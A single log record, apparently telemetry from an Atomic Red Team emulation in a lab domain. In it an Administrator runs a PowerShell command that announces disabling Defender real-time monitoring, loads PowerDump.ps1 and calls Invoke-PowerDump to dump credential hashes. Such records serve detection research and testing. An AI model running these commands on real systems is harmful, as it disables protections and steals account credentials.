ar-win-2.attackrange.local Administrator "powershell.exe" &amp; {Write-Host \""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\"" -fore green
Import-Module \""C:\AtomicRedTeam\atomics\..\ExternalPayloads\PowerDump.ps1\""
Invoke-PowerDump} HOSTNAME.EXE "C:\Windows\system32\HOSTNAME.EXE"